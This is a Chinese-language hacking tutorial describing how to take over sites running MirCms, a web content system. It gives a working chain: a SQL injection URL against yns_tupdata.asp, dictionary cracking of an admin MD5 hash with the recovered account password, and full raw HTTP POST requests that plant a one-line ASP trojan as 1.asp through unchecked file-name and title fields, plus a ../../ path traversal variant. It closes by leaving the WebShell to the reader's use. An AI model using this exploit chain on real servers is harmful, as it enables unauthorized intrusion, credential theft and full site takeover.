進一步取得MirCms傳奇的WebShell
在黑防的2005年第6期中,小獅子寫了關(guān)于MirCms中投票子系統(tǒng)的漏洞,閱讀以后覺得該系統(tǒng)既然存在像登錄驗證錯誤這樣的漏洞就應該還存在其他的可以更進一步利用的漏洞。本文就利用該系統(tǒng)中的這些漏洞取得其WebShell。
一、取得管理員賬號和密碼。
網(wǎng)站根目錄下的yns_tupdata.asp中存在SQL注入漏洞,我們利用其可以獲取管理員的賬號和密碼,看下面的代碼片斷。
If (Request.QueryString("t_id") <> "") Then
rst__MMColParam = Request.QueryString("t_id")
End If
……
rst.Source = "SELECT * FROM t_type WHERE t_id = " + Replace(rst__MMColParam, "’", "’’") + ""
變量t_id僅過濾了單引號就送到了SQL語句中,這樣我們就可以使用 1 or 1=1的形式進行注入,打開NBSI輸入注入地址http://xxx/yns_tupdata.asp?t_id=1 or 1=1,由于在網(wǎng)上就可以down到該系統(tǒng)的源代碼,也就省去了我們猜表名和列名的過程,猜解以后我們就可以得到一些管理員的用戶名和密碼。
由于密碼是MD5加密的,而且后臺還是Session驗證,所以我們只能老老實實的去破解它的原始密碼,至于破解MD5我們可以掛個常用密碼的字典跑一遍,然后就看你的運氣嘍^_^這里我就得到了一個賬號<如果云知道>的密碼49ba59abbe56e057=〉123456,OK!就用這賬號登錄后臺。(注:我們只需要得到level為1的賬號就夠用了,而且一般這種等級的賬號密碼比較簡單^_^)
二、進一步取得WebShell
還是讓我們先看一下yns_nadd_save.asp中的代碼片斷
mm_path = server.MapPath((rst.Fields.Item("t_dir").Value)&"/"&(rsts.Fields.Item("ts_dir").Value)&"/"
&request.Form("n_fpath")&"/"&request.Form("n_fname"))
…
Set fout = fso.CreateTextFile(mm_path)
fout.WriteLine pencat
fout.close
程序從表單中取得n_fname后沒有進行任何的擴展名檢查就合成了mm_path變量,然后利用fso函數(shù)生成了以n_fname為文件名的文件,這樣只要我們修改n_fname的值為 xxx.asp就可以很簡單的在服務器上生成一個ASP木馬,然后我們再看看這個文件的內(nèi)容是怎么生成的,
N_Title=Request.Form("n_title")
…
mm_template_path = server.MapPath("templates/type_template/type_son_template/detail_template.htm")
…
set fso_line = fso.opentextfile(mm_template_path,1,True)
pencat=fso_line.readall
end if
pencat=replace(pencat,"t_title",n_title)
從上面我們可以知道程序是將detail_template.htm中的內(nèi)容讀入,然后替換相關(guān)變量,最后得到生成文件的內(nèi)容,這里我們就利用t_title這個替換變量來寫入我們的ASP木馬代碼。我們來試一下,打開WinSock Expert在后臺填加一篇文章,抓包內(nèi)容如下:
POST /yns_nadd_save.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/
vnd.ms-powerpoint, application/msword, */*
Referer: http://xxx/MirCMS_Add.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)
Host:xxx.net
Content-Length:199
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCQTAQQB=JLOPEBEBAFPEBBJAJCGHKBCF
n_tid=52&n_tsid=56&n_sid=&n_title=test&n_author=%C8%E7%B9%FB%D4%C6%D6%AA%B5%C0&n_mpic=&n_rpic=&n_fname=20053151744366646.htm&n_fpath=2005-6-6&n_date=2005-6-6+6%3A50%3A22&n_content=ttt&MM_insert=form1
這里我們將n_fname的值改成1.asp,然后將n_title的值改成我們常用的一句話木馬,注意寫入的ASP代碼需要使用unicode編碼以后的形式。<SCRIPT%20RUNAT=SERVER%20LANGUAGE=
JAVASCRIPT>eval(Request.form(’#’)%2B’’)</SCRIPT>,最后不要忘了重新計算封包的大小更改Content-Length的值,這部分知識在研究動網(wǎng)上傳漏洞的時候想必大家都已經(jīng)研究明白了吧,下面就直接給出我的修改結(jié)果。
POST /yns_nadd_save.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/
vnd.ms-powerpoint, application/msword, */*
Referer: http://xxx/MirCMS_Add.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)
Host:xxx.net
Content-Length: 261
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCQTAQQB=JLOPEBEBAFPEBBJAJCGHKBCF
n_tid=52&n_tsid=56&n_sid=&n_title=<SCRIPT%20RUNAT=SERVER%20LANGUAGE=JAVASCRIPT>eval(Request.form(’#’)%2B’’)</SCRIPT>&n_author=%C8%E7%B9%FB%D4%C6%D6%AA%B5%C0&n_mpic=&n_rpic=&n_fname=1.asp&n_fpath=2005-6-6&n_date=2005-6-6+6%3A50%3A22&n_content=ttt&MM_insert=form1
最后使用NC提交我們修改后的封包,到MirCMS_Html/xxx/年-月-日/下就可以找到我們的木馬了,當然如果網(wǎng)站的管理員比較BT的話可能會設置MirCMS_Html目錄下無法運行ASP文件,不過沒有關(guān)系,我們只需把n_fname的值改成../../1.asp切換到根目錄下就可以了,有了WebShell剩下的事情大家就可以看著辦嘍^_^
相關(guān)文章
焦點技術(shù):Google你真好(Google Hack)
焦點技術(shù):Google你真好(Google Hack)...2007-01-01